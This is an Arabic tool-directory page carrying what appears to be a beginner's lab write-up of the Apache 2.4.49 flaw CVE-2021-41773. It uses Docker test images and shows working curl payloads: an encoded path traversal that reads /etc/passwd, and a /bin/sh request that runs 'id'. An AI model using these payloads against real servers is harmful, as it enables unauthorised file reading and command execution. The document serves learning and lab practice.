Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-41773 — CVE-2021-41773 | Kitploit
أدوات/GitHubGitHub/noflowpls/cve-2021-41773
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubnoflowpls/cve-2021-41773

CVE-2021-41773

CVE-2021-41773

عرض المستودع
6116منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-41773

مرحبًا يا رفاق، بالأمس تم إصدار ثغرة CVE-2021-41773 الجديدة الخاصة بـ apache الإصدار 2.4.49. في هذه الحالة، أريد أن أشرح هذه الثغرة في apache.

ساحة التجربة

لذا، أعتقد أنكم يا رفاق تريدون اختبار هذه الثغرة على موقع ويب. لذا لدي ساحة تجربة لكم. هذا هو الموقع لتنزيل صورة docker الخاصة بمثال apache 2.4.49 صورة Docker

ملاحظة: هناك صورتان وهما with-cgid و no-cgid. يجب عليك تنزيل كلتا الصورتين

الاستخدام

أولًا قم بتنزيل صورة docker image على جهازك.

سحب صور Docker

no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid

تشغيل الصورة

no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

إخلاء المسؤولية

بصراحة، لا أعرف كيف اهتدى إلى اكتشاف هذه الثغرة. لذا لا يمكنني شرح ذلك بالكامل. لكنني سأبذل قصارى جهدي للحديث عن كل ما فهمته بخصوص هذه الـ CVE.

الثغرة

هذه الـ CVE مثيرة للاهتمام بعض الشيء لأنها تحتوي على ثغرتين. إنهما LFDكشف الملفات المحلية و RCE تنفيذ الأوامر عن بُعد. رائع!. لذا، في هذا المنشور سأشرح كلتا الثغرتين الخاصتين بهذه الـ CVE.

كشف الملفات المحلية (استخدم صورة docker الخاصة بـ no-cgi)

إذن، لنبدأ مع ثغرة كشف الملفات المحلية. إذا كنت معتادًا على apache، يمكنك ملاحظة أن cgi-bin(واجهة البوابة المشتركة) هو المسار الافتراضي الذي يحدد طريقة لخادم الويب للتفاعل مع البرامج الخارجية المولِّدة للمحتوى في apache-2.4.49

لكن هذا المسار Forbidden للجميع وحتى للمشرف. همم، هذا مثير للاهتمام، أليس كذلك؟

وإذا كنت معتادًا على ثغرة كشف الملفات المحلية، فربما تعلم أن معظم ثغرات LFD تحدث في المسارات المحظورة.

لذا دعونا نختبر حمولات LFI البسيطة في مسار /cgi-bin/.

لقد وضعت ../../../../../ قبل /etc/paswd. (إذا كنت تريد معرفة ما هو ../ اطّلع على هذا المنشورتجاوز كشف الملفات المحلية)

باستخدام curl:

curl http://localhost:8080/cgi-bin/../../../../../etc/passwd

curl

باستخدام burpsuite: burpsuite

كما ترون، حصلنا على خطأ مع هذه الحمولة البسيطة. في curl حصلنا على رمز الحالة 404 خطأ Not Found وفي Burp حصلنا على خطأ 400 Bad Request.

إذن هذا يعني أنه يجب علينا ترميز حمولتنا إلى ترميز URL. لذا دعونا نجرب ذلك ونرى ما الذي سنحصل عليه.

لذا قمت بترميز . إلى Url. ملاحظة: . هي %2E وأيضًا %2e في ترميز url.

باستخدام curl:

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

curl

باستخدام Burp: Burp

أجل!. حمولتنا نجحت الآن. يمكننا قراءة /etc/passwd الخاص بالموقع.

لذا أتمنى أنكم فهمتم الآن ثغرة LFD الخاصة بهذه الـ CVE. إذن، لنكمل إلى ثغرة RCE الخاصة بهذه الـ CVE الخاصة بـ apache 2.4.49.

تنفيذ الأوامر عن بُعد (استخدم صورة docker الخاصة بـ with-cgi)

لشرح ثغرة RCE الخاصة بهذه الـ CVE، تحتاج إلى فهم بعض أساسيات RCE وأساسيات linux.

اطّلع على هذا المنشور لتعرف ما هو RCE

آه، أعتقد أنكم ظننتم أنني أخطأت عندما قلت إننا نحتاج إلى linux basics. كلا. لم أقل خطأ لأننا فعلًا نحتاجها. إذن لنبدأ!

أولًا دعني أُريك الحمولة العاملة وسأشرح كيف عملت.

curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'

باستخدام Curl: curl

شرح الحمولة

دعني إذن أشرح هذه الحمولة.

curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'

كما ترون، المسار /cgi-bin/ والترميز .%2e هما نفس الشيء. لكن هناك خياران إضافيان الآن. إنهما -d بيانات و /bin/sh /bin/bash. لذا، دعني أشرح لماذا نحتاج إلى وضع هذين.

/Bin/Bash

أولًا، نريد الحصول على تنفيذ الأوامر عن بُعد، أليس كذلك؟

كما تعلمون أنه في الأنظمة المبنية على linux، فإن /bin/bash هو الجزء الرئيسي لتنفيذ الأوامر وكتابتها والتعامل مع الصدَفات (shells). لذا نحتاج إلى bash لتنفيذ أوامرنا في خادم الويب. اطّلع على هذاما هو Bash في linux.

البيانات

حسنًا الآن، لنفترض أننا نستطيع الحصول على /bin/sh. نحتاج فقط إلى حقن أوامرنا. يمكننا وضع حقنتنا كبيانات مع curl.

إذن حمولتنا هي C|echo;id. دعني أشرح ما هذا.

إذن C لا تعني شيئًا. يمكننا وضع أي شيء نريده قبل |. مثل Comdey|.

إن echo;id هي مجرد حيلة في linux.لذا، قلت إننا نحتاج إلى أساسيات linux أساسيات Echo

إذا جمعنا هذه معًا سنحصل على RCE في apache 2.4.49.

شكرًا!

شكرًا للقراءة يا رفاق. هذه أول كتابة (writeup) لي عن CVEs. سامحوني إذا كان شرحي لهذا الأمر سيئًا. وأيضًا من فضلكم أعطوني اقتراحاتكم.

Gif

تنزيل الأداة